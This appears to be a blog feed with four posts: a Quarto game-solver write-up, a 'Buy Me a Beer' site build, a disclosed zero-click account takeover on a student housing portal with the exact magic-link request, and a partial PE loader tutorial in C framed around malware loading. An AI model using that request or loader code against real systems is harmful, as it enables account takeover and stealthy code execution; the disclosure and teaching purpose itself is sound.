Ilia Mirzaali Hexo https://blog.rmxzy.com/ All rights reserved 2026, Ilia Mirzaali Notes on systems, security, and software by Ilia Mirzaali (rmxzy) Ilia Mirzaali — rmxzy's blog 2026-05-07T22:09:06.996Z Ilia Mirzaali So I had to build a Quarto AI for a university competition, and I quickly ran into the classic dilemma: you can either search the entire game tree perfectly (but run out of time), or you can use some heuristic evaluation and just hope it doesn’t blunder. Neither option felt great.

Naturally, I decided to do both. The result is ChokerJoker: an AI with a split personality. In the midgame, it plays like a strangler, slowly suffocating the opponent by minimizing their safe moves. Then, once the board gets sparse enough, it flips a switch and becomes a perfect endgame solver that calculates every possible outcome.

In this post I’ll walk through the whole thing: bitboards, Zobrist hashing, 32-way symmetry reduction, and why I spent way too long tweaking move ordering. If you want to skip ahead and just look at the code, the full project is on GitHub:

👉 https://github.com/ramzxy/quarto

Phase 1: The Strangler (Heuristic Midgame)

The first phase of ChokerJoker is all about panic maximization. The goal is to slowly choke the opponent by reducing their options until they’re basically stuck.

The Core Heuristic

After a lot of testing (and I mean a lot), I settled on this evaluation formula:

1
Score = -(2.21 × Safety) - (0.37 × Traps)

Where:

  • Safety: The number of “safe” (square, piece) pairs the opponent can choose without giving me an immediate win
  • Traps: Moves that look safe but actually lead to forced losses

The weights (2.21 and 0.37) were hand-tuned through trial and error. Not the most scientific approach, but it worked. The idea is simple: minimize the opponent’s breathing room. Fewer safe options = more mistakes.

Why This Works

If you’ve never played Quarto, here’s what makes it weird: unlike chess, where you control your own pieces, in Quarto your opponent chooses which piece you place. So the player giving the piece actually has more control than the player placing it.

This means instead of trying to “win positions,” the Strangler focuses on controlling the piece selection. If I can force the opponent into a situation where every piece they give me is dangerous, I’ve basically already won even if the board looks neutral to a human.

Bitboard Representation

One of the first things I did was throw out the object-based board representation and switch to bitboards. If you’ve ever written a chess engine, you know the drill.

Instead of storing a Piece object at each square, I use five integers:

1
2
3
4
5
int tall;    // Bit i is set if square i has a tall piece
int round;   // Bit i is set if square i has a round piece
int solid;   // Bit i is set if square i has a solid piece
int dark;    // Bit i is set if square i has a dark piece
int occupied; // Bit i is set if square i is filled

Each piece has 4 binary attributes (tall/short, round/square, solid/hollow, dark/light), which map perfectly to a 4-bit encoding. Attribute checks are now a single bitwise AND operation:

1
2
3
private static boolean isDark(int pieceId) {
    return (pieceId & MASK_DARK) != 0;
}

No object lookups, no method calls, no chasing pointers through memory.

O(1) Danger Mask Calculation

The original version of the Strangler was slow. Every time I evaluated a position, I’d loop through all empty squares, loop through all available pieces, and check if placing that piece would create a winning line. That’s O(Empty × Pieces × Lines), way too expensive when you’re doing it thousands of times per second. The midgame search was taking 5+ seconds per move, which is… not great when you have a time limit.

So I rewrote it using danger masks. I was honestly skeptical this would work, but it ended up being the single biggest performance win in the whole project.

Here’s the idea: for each attribute (tall, round, solid, dark), I precompute a bitmask of squares where placing a piece with that attribute would complete a winning line. Then, to check if a piece is dangerous, I just OR together the four attribute masks:

1
2
3
4
5
6
7
8
9
private int getDangerSquares(int tall, int round, int solid, int dark, 
                              int occupied, int pieceId) {
    int danger = 0;
    danger |= computeDangerMaskForAttr(tall, isTall(pieceId), occupied);
    danger |= computeDangerMaskForAttr(round, isRound(pieceId), occupied);
    danger |= computeDangerMaskForAttr(solid, isSolid(pieceId), occupied);
    danger |= computeDangerMaskForAttr(dark, isDark(pieceId), occupied);
    return danger;
}

This drops the safety calculation from O(Empty × Pieces × Lines) to O(Pieces × Lines). At depth 5, this optimization alone saved about 70% of evaluation time.

Iterative Deepening + Aspiration Windows

The Strangler uses iterative deepening, starting at depth 1 and working its way up to depth 5 (or until time runs out).

To speed things up, I added aspiration windows: instead of searching with [-∞, +∞] bounds, I use a narrow window around the previous iteration’s score:

1
2
int alpha = previousScore - 50;
int beta = previousScore + 50;

If the search fails outside this window, I widen it and re-search. But most of the time, the score stays stable, and the narrow window causes more cutoffs, which means faster searches.

Phase 2: The God Engine (Perfect Endgame)

Once the board reaches 9 empty squares (or fewer), the Strangler steps aside and the God Engine takes over, a brute-force Alpha-Beta solver that just calculates everything to the end of the game tree.

At this point, the game becomes fully solvable. There are at most 9! × 9! positions left, which sounds huge until you realize…

Symmetry Reduction (32× State Space Collapse)

Quarto has a lot of symmetry. The board has 8-fold rotational/reflective symmetry (the dihedral group D4), which is standard stuff. But there are also topological symmetries — board transformations that preserve winning lines but aren’t geometric rotations. These are way less obvious, and it took me a while to even convince myself they were valid.

I combined these into 32 total symmetries (8 spatial × 4 topological):

1
private static final int[][] ALL_SYMMETRIES = new int[32][16];

Every time I evaluate a position, I compute its canonical hash, the minimum hash value across all 32 symmetric variants:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private long computeCanonicalHash(int tall, int round, int solid, int dark, 
                                    int occupied, int pieceToPlace) {
    long minHash = Long.MAX_VALUE;
    int minSym = 0;
    
    for (int sym = 0; sym < 32; sym++) {
        long h = computeHashForSymmetry(sym, ...);
        if (Long.compareUnsigned(h, minHash) < 0) {
            minHash = h;
            minSym = sym;
        }
    }
    
    return (minHash & 0xFFFFFFFFFFFFFFE0L) | (minSym & 0x1F);
}

This collapses the state space by up to 32×. Positions that look completely different to a human are treated as identical by the AI. The transposition table hit rate went from about 20% to 60% after adding this.

Piece Isomorphism (Because Why Stop There)

But wait, there’s more symmetry to exploit.

If the board has mostly dark pieces, I can invert the “dark” bit for every piece and get an equivalent position. This is called piece isomorphism.

I detect when an attribute is in the majority and flip it:

1
2
3
4
5
6
7
8
9
10
11
12
private int computeInversionMask(int dark, int tall, int round, int solid, 
                                   int occupied) {
    int mask = 0;
    int darkCount = Integer.bitCount(dark & occupied);
    int count = Integer.bitCount(occupied);
    
    if (darkCount > count / 2) {
        mask |= MASK_DARK;
    }
    // ...repeat for other attributes
    return mask;
}

Then I XOR every piece ID with this mask before hashing. This adds another ~2× reduction on top of the geometric symmetries.

Zobrist Hashing (Fast, Collision-Resistant)

To make symmetry detection fast, I use Zobrist hashing, a technique borrowed from chess engines.

Each (square, piece) pair gets a random 64-bit number:

1
2
private static final long[][] Z_SQUARE_PIECE = new long[16][16];
private static final long[] Z_NEXT_PIECE = new long[16];

The hash of a position is just the XOR of all occupied squares:

1
2
3
4
5
6
7
long hash = 0;
for (int sq = 0; sq < 16; sq++) {
    if ((occupied & (1 << sq)) != 0) {
        hash ^= Z_SQUARE_PIECE[sq][pieceId];
    }
}
hash ^= Z_NEXT_PIECE[pieceToPlace];

XOR is fast, reversible (updating the hash after a move is trivial), and has excellent collision resistance.

Transposition Table (4 Million Entries)

All those canonical hashes feed into a transposition table, a giant lookup table that stores previously searched positions:

1
2
3
4
private static final int TT_SIZE = 1 << 22; // 4 Million entries
private static final long[] TT_KEYS = new long[TT_SIZE];
private static final long[] TT_VALUES = new long[TT_SIZE];
private static final int[] TT_MOVES = new int[TT_SIZE];

Before searching a position, I check if I’ve seen it before:

1
2
3
4
5
6
7
8
9
10
11
12
int ttIndex = (int)((canonicalHash >>> 5) & (TT_SIZE - 1));

if (TT_KEYS[ttIndex] == canonicalHash) {
    long ttEntry = TT_VALUES[ttIndex];
    int ttDepth = (int)((ttEntry >> 8) & 0xFF);
    int ttScore = (int)(ttEntry >> 16);
    
    if (ttDepth >= depth) {
        // Use stored result instead of re-searching
        return ttScore;
    }
}

With the 32× symmetry reduction, the transposition table gets way more hits than it would in a normal search. Positions that were searched in different branches (but are actually the same after symmetry) all map to the same table entry.

Principal Variation Search (PVS)

The God Engine uses Principal Variation Search, an optimization of Alpha-Beta that assumes the first move you try is usually the best one. Sounds risky, but if your move ordering is decent, it pays off big time.

Here’s how it works:

  1. Search the first move with a full [alpha, beta] window
  2. Search all remaining moves with a null window [alpha, alpha+1]
  3. If a later move beats alpha, re-search it with the full window
1
2
3
4
5
6
7
8
9
10
11
12
if (firstMove) {
    val = -godEngineNegamax(depth-1, -beta, -alpha, ...);
    firstMove = false;
} else {
    // Null window search
    val = -godEngineNegamax(depth-1, -alpha-1, -alpha, ...);
    
    // Re-search if it beats alpha
    if (val > alpha && val < beta) {
        val = -godEngineNegamax(depth-1, -beta, -alpha, ...);
    }
}

When move ordering is good (which it usually is, thanks to the transposition table), this causes way more cutoffs than plain Alpha-Beta.

Late Move Reduction (LMR)

If I’ve already searched 3+ moves at a node and none of them improved alpha, the remaining moves are probably bad. So I search them at reduced depth:

1
2
3
4
5
6
7
8
9
10
11
int reduction = 0;
if (!firstMove && i >= LMR_THRESHOLD && depth > LMR_DEPTH_THRESHOLD) {
    reduction = 1;
}

val = -godEngineNegamax(depth - 1 - reduction, ...);

// If it beats alpha despite the reduction, re-search at full depth
if (reduction > 0 && val > alpha) {
    val = -godEngineNegamax(depth - 1, ...);
}

Late moves almost never matter, and LMR lets me skip most of their subtrees. In practice, this cut the average node count by about 40%. Free performance.

Move Ordering (The Actual Secret Sauce)

Here’s the thing though all these optimizations (PVS, LMR, Alpha-Beta cutoffs) only work if good moves are searched first. If I search the best move last, I get zero cutoffs and waste all my time. Move ordering is everything.

So I use three layers of move ordering:

  1. Transposition Table Move (priority: 1,000,000)
    If I’ve seen this position before, try the best move from last time first.

  2. Killer Moves (priority: 50,000 / 40,000)
    Moves that caused cutoffs at the same depth in other branches.

  3. History Heuristic (priority: 0–10,000)
    Moves that have caused cutoffs frequently in the past.

These are combined into a single priority score, and moves are sorted before searching:

1
2
3
4
5
6
7
8
9
10
for (int i = 1; i < moveCount; i++) {
    int j = i;
    while (j > 0 && movePriorities[j] > movePriorities[j - 1]) {
        // Bubble sort (fine for small arrays)
        swap(moveSqs, j, j-1);
        swap(moveNextPs, j, j-1);
        swap(movePriorities, j, j-1);
        j--;
    }
}

With good move ordering, I often get a cutoff on the first move. When that happens, the entire remaining subtree is skipped.

Dynamic Phase Switching

The last piece of the puzzle: when do you actually switch from Strangler to God Engine?

I went with a dynamic threshold based on how much time is left:

1
2
3
4
5
6
private int getDynamicEndgameThreshold(long elapsedMs, long timeLimitMs) {
    long remaining = timeLimitMs - elapsedMs;
    if (remaining > 4000) return 11;  // Switch early if we have time
    if (remaining > 2000) return 10;
    return 9;  // Safe default
}

If I have plenty of time, I switch to perfect play earlier (11 empty squares). If I’m running low, I wait until 9 empty squares to guarantee the search finishes.

This adaptive strategy means I’m always using the best approach for the current time budget.

Putting It All Together

Here’s the final pipeline:

  1. Opening (16 empty squares): Pick a balanced piece to give the opponent
  2. Midgame (15–10 empty squares): Strangler heuristic with iterative deepening
  3. Endgame (≤9 empty squares): God Engine with perfect Alpha-Beta search
  4. Every move: Zobrist hashing → Canonical symmetry → Transposition table lookup → Move ordering → PVS + LMR

The result? An AI that plays dirty in the midgame, strangling the opponent’s options, and then switches to cold, mathematically perfect play once the endgame is in sight.

Performance

Some quick numbers:

  • Midgame search (Strangler, depth 5): ~50,000 nodes/second
  • Endgame search (God Engine, depth 18): ~200,000 nodes/second (thanks to TT/symmetry)
  • Transposition table hit rate: ~60% in endgame
  • Average move time: 0.5–2 seconds

The God Engine is actually faster per node than the Strangler, which I definitely didn’t expect going in. Turns out when your transposition table and symmetry reduction are doing their job, you skip so many subtrees that perfect search ends up being cheaper than heuristic search. Weird, right?

What I’d Do Differently

If I were to rebuild this from scratch:

  1. Use Opening Books: The first 2–3 moves are always the same. Precomputing optimal openings would save time.

  2. Tune Weights with Machine Learning: The heuristic weights (2.21, 0.37) were hand-tuned. A genetic algorithm could probably find better values.

  3. Multi-Threaded Search: The transposition table is already thread-safe-ish. Parallelizing the root move search would be a nice speedup.

  4. Better Time Management: Right now I use fixed time limits per phase. A more dynamic system (like chess engines use) would be smarter.

Final Thoughts

Building ChokerJoker took about three weeks of on-and-off work. Most of that time wasn’t actually writing the algorithm, it was debugging why the symmetry reduction was breaking certain endgame positions, or staring at logs trying to figure out why the transposition table was returning stale scores.

The full code is 1,739 lines of Java, all in one file. Yes, that probably horrifies proper software engineers, but it made debugging much easier. The bitboards, the Zobrist tables, the symmetry logic, the transposition table everything is right there. No hunting across 15 different classes.

If you’re building your own game AI, here’s my one piece of advice: spend your time on move ordering. Alpha-Beta is fast, but only if you search good moves first. The difference between random move order and good move order is often 100x in node count.

Anyway, that’s ChokerJoker. It wins most of the time, draws sometimes, and loses occasionally when it misjudges the midgame, which is about as good as you can expect from a hybrid strategy.

If you want to check out the full source code, it’s all up on GitHub:

👉 https://github.com/ramzxy/quarto

If you enjoyed this read and want to support more posts like this, consider buying me a beer over at ilia.beer, I’ll even drink it and cheer to you on camera :)

]]> https://blog.rmxzy.com/2026/01/26/chokerjoker-blog/ 2026-01-26T23:00:00.000Z How Ilia Mirzaali (rmxzy) and team built ChokerJoker — an award-winning Quarto game-AI solver in Java using alpha-beta pruning and aggressive search-space optimisation. Building ChokerJoker, the award winning quarto solver 2026-05-07T22:09:06.996Z Ilia Mirzaali On the train ride back from the BAPC on November 25th, my friends and I were joking about funny domain names we’ve seen. Between all the ridiculous suggestions, the “.beer” TLD stood out the most. So, naturally, I did the only reasonable thing that came to my mind: I bought ilia.beer on the spot, just in case I’d find something funny to do with it later.

A couple of weeks passed, and somehow that impulsive domain purchase turned into a “Buy Me a Beer” platform. People can now buy me a beer, and I upload a video of me drinking it and cheering to them. And while free beers are great, I actually enjoyed building the technical side of it way more, from handling uploads and compression to optimizing playback.

In this post, I’ll walk you through how this little project came to life and the decisions behind it. Who knows, maybe you’ll end up building your own “Buy Me a [insert alcoholoic drink]” site :)

Getting the specifics down

To get started with planning the whole project, I first had to pin down the exact features I wanted the website to have. I ended up splitting everything into three main parts:

  • Handling payments
  • Fast and high-quality video uploads
  • Fast video downloads and a smooth viewing experience

Some of these turned out to be much harder than others, but in the end everything came together nicely.

Around this time, I had just bought a Raspberry Pi and wanted to try hosting a couple of small apps on it. This seemed like the perfect chance to run the backend entirely on the Pi. Since the backend for this project was quite small and straightforward, it felt like a good opportunity to see how well the Pi performs when running a web app 24/7.

Architecture Network Diagram

Because this was a hobby project and I wanted to get the most out of it, I decided to build the backend using a language I had never touched before: PHP. For the frontend, I went with Next.js, mostly because I had some experience with it and it’s incredibly easy to deploy on Vercel.

Handling payments and headaches

If I had to name this section, I’d call it “Where I Lost Most of My Life Expectancy.”

My initial plan was to use the Stripe API. I had seen it used in similar projects, and I didn’t think much of it. So I spent several hours learning the Stripe API and implementing it in pure PHP.

This was… painful.

Half the struggle was figuring out PHP itself, and the other half was trying to make sure my payment flow was actually secure in a language I barely understood.

Eventually, I had a minimal backend running with just the payment endpoints. At this point, I probably should have set up Stripe properly and tested whether any of this even worked. But instead, I jumped straight into building the frontend payment flow. I wanted the experience to be as seamless as possible, so I added the payment widget right on the main page.

After polishing everything up, I finally opened the Stripe dashboard to create my account… and was immediately greeted by a big yellow banner telling me that residents of the Netherlands are required to have a VAT number.

To get that VAT number, I’d need to officially register as a business.

At that point, I dropped the Stripe idea entirely and started looking for a simpler solution. I ended up using BuyMeACoffee, which already handles small payments and only required me to create an account and copy my payment link. I made a simple SVG button for it, and within 30 minutes the payment system was done.

Sure, this method adds a couple more steps to the payment flow and takes users off my site. But honestly? It was the best option available.

Uploading videos

Since the entire backend was running on a Raspberry Pi at home, I had to be smart about how video uploads were handled. Uploading a video first to the Pi and then from the Pi to a cloud bucket (like Google Cloud Storage) would have taken ages — my Pi was sitting behind a pretty slow home internet connection.

After some research, I came across signed URLs. These basically let the frontend upload a file directly to my GCS bucket without the Pi ever touching the video. The backend’s only job is to generate a one-time secure URL. This saves bandwidth, avoids double-uploads, and prevents the Pi from melting every time someone tries to send a 50MB video.

Here’s the code I used for generating that signed URL:

1
2
3
4
5
6
7
8
9
10
11
$fileName = uniqid() . '.' . $fileExtension;
$gcsUrl = 'https://storage.googleapis.com/ilia_beer/' . $fileName;

$signedUrl = $this->bucket->object($fileName)->signedUrl(
    new \DateTime('+10 minutes'),
    [
        'method' => 'PUT',
        'contentType' => $contentType,
    ]
);

This creates a signed URL that’s valid for 10 minutes, which the frontend can then PUT the video file to directly. On the Next.js side, this was surprisingly simple, it’s basically just a fetch(signedUrl, { method: "PUT", body: file }).

Of course, I also needed a place to store the metadata for each video. For that, I set up a simple MySQL table:

1
2
3
4
id INT AUTO_INCREMENT PRIMARY KEY,
caption VARCHAR(255),
url TEXT NOT  NULL,
created_at TIMESTAMP  DEFAULT  CURRENT_TIMESTAMP`

This was more than enough for what I needed.

One funny challenge I hit was CORS. For about 20 minutes, I thought my signed URLs were broken when in reality Google Cloud simply didn’t like my CORS settings. This was also hard to figure out as google cloud bucket was not returning any useful errors about how this might be the issue. After a while of searching reddit i found that a number of people also had the same issue so after modifying the allowed headers in my google cloud console everything seemed to work perfectly.

But wait, the videos are too slow to download…

Once I had video uploads working and a simple frontend that listed them all, I immediately noticed the elephant in the room. Because videos were being uploaded in full quality straight to the bucket, they were huge. And huge videos meant slow downloads, slow viewing, and just an overall sluggish experience.

Technically, for a “Buy Me a Beer” website, this shouldn’t have mattered that much. But the whole fun of the website is literally watching the beer videos, and if that part is slow, the site loses its charm. So I needed a way to compress videos somewhere along the pipeline.

The three options I tried were:

  • Client-side compression using FFMPEG.wasm
  • Local compression on the Pi using FFMPEG
  • Google Transcoder API

And after a lot of trial, error, and swearing, I ended up going with the Google Transcoder API. But it’s worth going through the dead ends too.

Client-side compression using FFMPEG.wasm

This was the first thing I tried, it came up in the first Google search, and I thought:
-“If I compress on the client, users just wait a bit longer during upload, and the rest is painless.”

Yeah… no.

After a LOT of testing and different configurations, the fastest I managed to get was around 700 KB/s, which is painfully slow when your average video is 100 MB+. It also makes sense: browsers simply aren’t built for heavy video processing, and FFMPEG.wasm is basically FFMPEG duct-taped into WebAssembly.

It was cool to learn how compression works in the browser, but it just wasn’t practical. So I scrapped the idea.

Local compression using FFMPEG

Next idea:
“If the browser is slow, maybe the Pi can handle it.”

And it could! The Pi was surprisingly fast at compressing videos.
But here’s where I realized my stupidity:

To compress the video on the Pi, I would first need to download the entire file from GCS back to the Pi… only to compress it… and then upload it again.

Way too many steps, completely defeats the purpose of signed URLs, and would absolutely wreck the Pi’s network connection. Dropped this idea too.

Google Transcoder API

Finally, after some more Googling, I discovered that Google offers a Transcoder API that can compress videos directly inside the cloud bucket. This meant no involvement by me after I first uploaded the video which was perfect.

The only tricky part was figuring out how to update the video URL once transcoding finished.
If this was a Node.js or Python backend, I would’ve just set up a webhook that triggers automatically when a job finishes. But PHP’s ecosystem made that more annoying.

Here’s the method I used to create the transcoding job:

1
2
3
4
5
6
7
8
9
10
$videoId = $body['videoId'];
$video = $this->videoGateway->GetById($videoId);

$outputUrl = 'https://storage.googleapis.com/ilia_beer/transcoded/' . basename($video['url']);

$job = $this->transcoder->CreateJob($this->parent, [
    'inputUri' => $video['url'],
    'outputUri' => $outputUrl,
    'templateId' => 'preset/web-hd'
]);

Since I couldn’t rely on webhooks easily, I went with a simple periodic job checker. Every 15 minutes:

  1. Look up each transcoding job by its job name
  2. If it’s done → update the database to point to the compressed video and mark it as finished
  3. If it’s still running → wait another 15 minutes
  4. If it takes too long → mark it as failed

To make this work, I also stored:

  • the job name
  • the video status (uploaded, transcoding, finished, failed)

This setup actually worked really well and kept everything running smoothly without the Pi doing any heavy work.

Putting everything together

Once the backend was up and running (and after a couple hours of wrestling with raw PHP routes, controllers, and all that good stuff), the last big piece was figuring out how to actually load the videos on the frontend.

Since the videos on the site are displayed one after another in a vertical feed, it didn’t really make sense to download everything at once. So instead, I made the videos download sequentially: first video downloads, once it’s ready, the next one starts, and so on.
This way, by the time the user finishes watching the first video, the next one is already sitting there fully downloaded and ready to go. Smooth scrolling, no buffering.

Here’s the little bit of React magic that starts the next download as soon as the current one finishes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const startDownloadingNextVideo = useCallback(() => {
  const currentIndex = nextVideoToDownload.current;

  // No more videos left
  if (currentIndex >= videos.length) return;

  const video = videoRefs.current[currentIndex];
  if (!video) return;

  // Skip if already downloading or already loaded
  if (downloadingVideos.current.has(currentIndex) || video.readyState >= 3) {
    nextVideoToDownload.current = currentIndex + 1;
    startDownloadingNextVideoRef.current?.();
    return;
  }

  // Start downloading this video
  downloadingVideos.current.add(currentIndex);
  video.preload = "auto";
  video.load();
}, [videos.length]);

After that… I just vibecoded.
Tweaked some front-end styling, polished up the UI a bit, slapped everything into Docker so deploying to the Pi is easier, and boom, the whole thing was basically done.

So the final product was: ilia.beer

If you want to check out the full project or build your own version, the entire thing is up on GitHub:

👉 https://github.com/ramzxy/ilia.beer

Hope you enjoyed the blog. Happy hacking, and see you in the next one.

]]> https://blog.rmxzy.com/2025/11/26/ilia.beer/ 2025-11-26T23:00:00.000Z How Ilia Mirzaali (rmxzy) built ilia.beer — a "Buy Me a Beer" platform with a PHP backend on a Raspberry Pi, Next.js frontend, and Google Cloud Transcoder API for video compression. Building ilia.beer, A "Buy Me a Beer" Platform 2026-05-07T22:09:06.996Z Ilia Mirzaali Overview

Vulnerability Name: Zero Click Account Take Over using IDOR and Improper Access Control
Impact Level: Critical
Affected System/URL: [REDACTED]
Description:
This vulnerability allows an attacker to take over a user’s account without any interaction from the victim, requiring only their email address. By exploiting improper access controls and leveraging an Insecure Direct Object Reference (IDOR), the attacker can retrieve and use the magic login link sent in the server’s response to the user’s login request.

Discovery and Background

Last week, I discovered a critical vulnerability on the Plaza Residence Services website that led to a zero-click account takeover by simply knowing the user’s email address. This research was conducted strictly for educational and ethical purposes, and the company’s IT department was notified immediately upon discovery.

Hopefully, by the time you read this blog, the security vulnerability has been patched.

Technical Details

How the Vulnerability Works

The vulnerability lies in the website’s magic login function, which sends a magic login link as part of the server’s response to a POST request when the user logs in. Here’s how the attack works:

  1. An attacker makes a POST request to the login endpoint (e.g., /portal/rest/frontend/json/account/frontend/requestMagicLink) with the victim’s email address.
  2. The server responds with the magic login link in the response body, without verifying whether the request was authorized.
  3. The attacker extracts the link from the response and uses it to log in as the victim without requiring any further interaction or confirmation from the user.

Proof of Concept (PoC)

Steps to Reproduce:

  1. Send a POST request to the login endpoint: 

    1
    2
    3
    4
    5
    6
    POST /portal/rest/frontend/json/account/frontend/requestMagicLink?lang=en HTTP/2  
    Host: [example.com]  
    Accept: application/json, text/plain, */*  
    Content-Type: application/json;charset=UTF-8   

    "[victim@example.com]"  //sent as plain text

  2. View server’s response:

    The server responds with a json containing info on the user including an attribute called link with the magic login link.

    1
    "link":"https:\/\/[REDACTED].com\/en\/translate-to-engels-inloggen\/magic-link#?hash=[login_hash]"

  3. Use the magic link:

    Simply paste the link on the browser and boom you are in.

Root Cause Analysis

The root cause of the vulnerability is a combination of:
1.Improper Access Control: The server does not verify whether the POST request for the magic link is made by an authorized user.
2.Exposed Sensitive Data: The magic login link is included in the server’s response, exposing it to potential abuse.

Recommendations for Mitigation

To address this vulnerability, the following measures should be implemented:
1.Authorization Checks: Ensure that only authenticated and authorized users can request the magic login link.
2.Token Validation: Use cryptographically secure, short-lived tokens for generating magic links and bind them to specific IPs or sessions.
3.Do Not Expose Sensitive Data: Avoid including sensitive links or tokens in API responses unless absolutely necessary.
4.Rate-Limiting and Monitoring: Add rate limits to endpoints handling sensitive operations and monitor them for suspicious activity.

Conclusion

I hope this writeup was usuful and educational(altough very basic). For more queries and questions you know where to find me :)

]]> https://blog.rmxzy.com/2025/01/25/zeroclick/ 2025-01-25T23:00:00.000Z A write-up by Ilia Mirzaali (rmxzy) on a zero-click account takeover via IDOR and broken access control found in a student housing web application. Hacking my Student housing website 2026-05-07T22:09:06.996Z Ilia Mirzaali Why Write a PE Loader?

PE loader malware exploits the Windows Portable Executable format to inject and execute malicious code stealthily. It operates in-memory, often evading detection by antivirus software. Using techniques like process hollowing and DLL injection, it enables attackers to launch ransomware, steal data, or move laterally within networks. Strengthened endpoint protection and careful file handling are key defenses against this threat.

What does it do exactly?

A PE Loader is a program that loads, parses, and executes a PE file (such as an EXE or DLL). The following code implements a simple PE Loader that reads a PE file, performs necessary loading steps, including reading headers, allocating memory, mapping sections, resolving imports, applying relocations, and executing the PE file.

Code Implementation

Below is the full implementation of a simple PE Loader in C using the Win32 API.

Main Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

// Function prototypes
void LoadPEFile(const char* filePath);
void ParseHeaders(const char* peBuffer, IMAGE_NT_HEADERS** ntHeaders);
void* AllocateMemoryForImage(IMAGE_NT_HEADERS* ntHeaders);
void MapSections(const char* peBuffer, IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);
void ResolveImports(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);
void ApplyRelocations(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress, DWORD_PTR delta);
void ExecutePE(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress);

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Usage: %s <PE file path>\n", argv[0]);
        return 1;
    }

    LoadPEFile(argv[1]);
    return 0;
}

1. LoadPEFile Function

This function reads the PE file from the disk and begins the loading process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void LoadPEFile(const char* filePath) {
    FILE* peFile = fopen(filePath, "rb");
    if (!peFile) {
        printf("Failed to open PE file: %s\n", filePath);
        exit(1);
    }

    // Get the size of the file
    fseek(peFile, 0, SEEK_END);
    long fileSize = ftell(peFile);
    fseek(peFile, 0, SEEK_SET);

    // Allocate memory and read the file into the buffer
    char* peBuffer = (char*)malloc(fileSize);
    fread(peBuffer, 1, fileSize, peFile);
    fclose(peFile);

    // Parse headers and load sections
    IMAGE_NT_HEADERS* ntHeaders;
    ParseHeaders(peBuffer, &ntHeaders);
    void* baseAddress = AllocateMemoryForImage(ntHeaders);
    MapSections(peBuffer, ntHeaders, baseAddress);
    ResolveImports(ntHeaders, baseAddress);

    // Handle relocations
    DWORD_PTR delta = (DWORD_PTR)baseAddress - ntHeaders->OptionalHeader.ImageBase;
    if (delta != 0) {
        ApplyRelocations(ntHeaders, baseAddress, delta);
    }

    ExecutePE(ntHeaders, baseAddress);
    free(peBuffer);
}
````
---

### 2. **ParseHeaders** Function

This function reads the PE headers from the PE file buffer and verifies whether the PE file is valid.

```c
void ParseHeaders(const char* peBuffer, IMAGE_NT_HEADERS** ntHeaders) {
    // DOS Header
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)peBuffer;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("Invalid DOS signature.\n");
        exit(1);
    }

    // NT Headers
    *ntHeaders = (IMAGE_NT_HEADERS*)(peBuffer + dosHeader->e_lfanew);
    if ((*ntHeaders)->Signature != IMAGE_NT_SIGNATURE) {
        printf("Invalid PE signature.\n");
        exit(1);
    }

    printf("Valid PE file.\n");
}

3. AllocateMemoryForImage Function

This function allocates memory for the PE image. It first attempts to allocate memory at the preferred base address specified in the PE file, and if that fails, it allocates memory at any available address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void* AllocateMemoryForImage(IMAGE_NT_HEADERS* ntHeaders) {
    void* baseAddress = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (!baseAddress) {
        baseAddress = VirtualAlloc(NULL,
            ntHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
    }

    if (!baseAddress) {
        printf("Failed to allocate memory for image.\n");
        exit(1);
    }

    printf("Memory allocated at: 0x%p\n", baseAddress);
    return baseAddress;
}

4. MapSections Function

This function maps the sections of the PE file into the allocated memory. It first copies the headers to the allocated memory and then maps the sections from the PE file to the appropriate addresses.

1
2
3
4
5
6
7
8
9
10
11
void MapSections(const char* peBuffer, IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    memcpy(baseAddress, peBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

    IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
        void* dest = (char*)baseAddress + sectionHeader->VirtualAddress;
        void* src = (char*)peBuffer + sectionHeader->PointerToRawData;
        memcpy(dest, src, sectionHeader->SizeOfRawData);
        printf("Mapped section: %s to 0x%p\n", sectionHeader->Name, dest);
    }
}

5. ResolveImports Function

This function resolves the imports of the PE file. It extracts the names of the required DLLs and loads the necessary functions from those DLLs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void ResolveImports(IMAGE_NT_HEADERS* ntHeaders, void* baseAddress) {
    IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((char*)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while (importDesc->Name) {
        char* dllName = (char*)baseAddress + importDesc->Name;
        HMODULE hModule = LoadLibraryA(dllName);

        if (!hModule) {
            printf("Failed to load library: %s\n", dllName);
            exit(1);
        }

        IMAGE_THUNK_DATA* origFirstThunk = (IMAGE_THUNK_DATA*)((char*)baseAddress + importDesc->OriginalFirstThunk);
        IMAGE_THUNK_DATA* firstThunk = (IMAGE_THUNK_DATA*)((char*)baseAddress + importDesc->FirstThunk);

        while (origFirstThunk->u1.AddressOfData) {
